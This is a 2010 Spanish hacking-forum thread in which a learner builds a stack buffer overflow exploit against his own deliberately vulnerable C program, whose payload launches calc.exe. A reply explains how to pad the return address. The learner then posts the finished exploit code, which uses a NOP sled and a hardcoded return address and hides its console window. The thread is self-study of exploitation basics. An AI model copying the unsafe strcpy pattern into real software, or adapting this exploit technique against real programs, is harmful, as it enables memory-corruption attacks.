elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 18:37  


Tema destacado: [Overclocking] Récords de overclock del foro

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Meter 3 donde van 4 : ¿ Y el resto ?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Meter 3 donde van 4 : ¿ Y el resto ?  (Leído 612 veces)
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Meter 3 donde van 4 : ¿ Y el resto ?
« en: 29 Diciembre 2010, 19:51 »

Bueno, me he metido en este apasionante mundo, y me he puesto a probar algo...
Tengo este code:
Código
#include <stdio.h>
#include <string.h>
#include <windows.h>
 
int fff ()
{
WinExec ("calc.exe", SW_MAX);
}
 
int main(int argc, char **argv)
{
if (argc != 2) return 1;
char buff[12];
strcpy(buff,argv[1]);
printf("\nHas escrito:   %s\n",buff);
 
return 0;
}
 
Es simple. Meto 24 nops y 4 numeros con la direccion de fff. A mi me da 0x4013c0. Como ven es una direccion de 3 "digitos".
Bueno ¿ Qué hago con el cuarto ?
Código
#include <windows.h>
#include <strcpy.h>
 
int main ()
{
char buff [28];
int i;
for (i = 0; i <= 23; i++)
buff [i] = '\90'
 
/*
Aqui van las declaraciones de buff [24 / 27] (menos 1 por el 0).
La cosa es que tengo tres numeros donde van cuatro.
*/

 
char command [33];
strcpy (command, "code ");
strcat (command, buff);
WinExec (command);
}
 

El exploit es sencillo, pero no se que hacer. Pido perdais 5 segundos de vuestro tiempo contestandome xD!!!
Que hago? Como seria el exploit?

Espero sus prontas respuestas.
Y sí, he mirado en google y en el foro...

Aparte, uso Windows Vista 64 bits...
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
APOKLIPTICO


Desconectado Desconectado

Mensajes: 3.781


Toys in the attic.


Ver Perfil
Re: Meter 3 donde van 4 : ¿ Y el resto ?
« Respuesta #1 en: 29 Diciembre 2010, 20:11 »

Es simple, si te sobran bytes en la dirección, lo llenas con ceros al principio, osea, es como decir: es lo mismo decir "100" que decir "0000100".
En línea

AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: Meter 3 donde van 4 : ¿ Y el resto ?
« Respuesta #2 en: 29 Diciembre 2010, 21:39 »

Bueno, gracias por tu pronta respuesta...
Eso pense al principio, pero lo descarte porque... y por que el GDB me pone eso sin ceros?

Code final:
Código
#include <windows.h>
#include <string.h>
 
int main ()
{
ShowWindow (GetForegroundWindow (), SW_HIDE);
char nop [24];
memset (nop, '\x90', 24);
char ret [4] = "\xc0\x13\x40\x00";
 
char command [33];
strcpy (command, "code ");
strcat (command, nop);
strcat (command, ret);
system (command);
 
return 0;
}
 
 

Muchas gracias por todo
« Última modificación: 29 Diciembre 2010, 22:58 por Sagrini » En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
como acceder al resto de equipos
Hacking Wireless
mago9101 2 580 Último mensaje 10 Agosto 2005, 01:01
por Kozaki666
Yahoo! abre su buscador de vídeos al resto de la Red
Noticias
wolfbcn 0 183 Último mensaje 2 Junio 2006, 00:42
por wolfbcn
La mayoría de los clientes de Telefónica no se fia del resto de operadores
Noticias
wolfbcn 0 215 Último mensaje 10 Enero 2009, 17:59
por wolfbcn
El ordenador no me arranca( perdon, no se donde meter este tema)
Windows
pablo00 3 1,314 Último mensaje 20 Mayo 2009, 18:26
por pablo00
wlan_xx si el resto no.
Hacking Wireless
pertiga 0 892 Último mensaje 9 Octubre 2009, 08:45
por pertiga
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines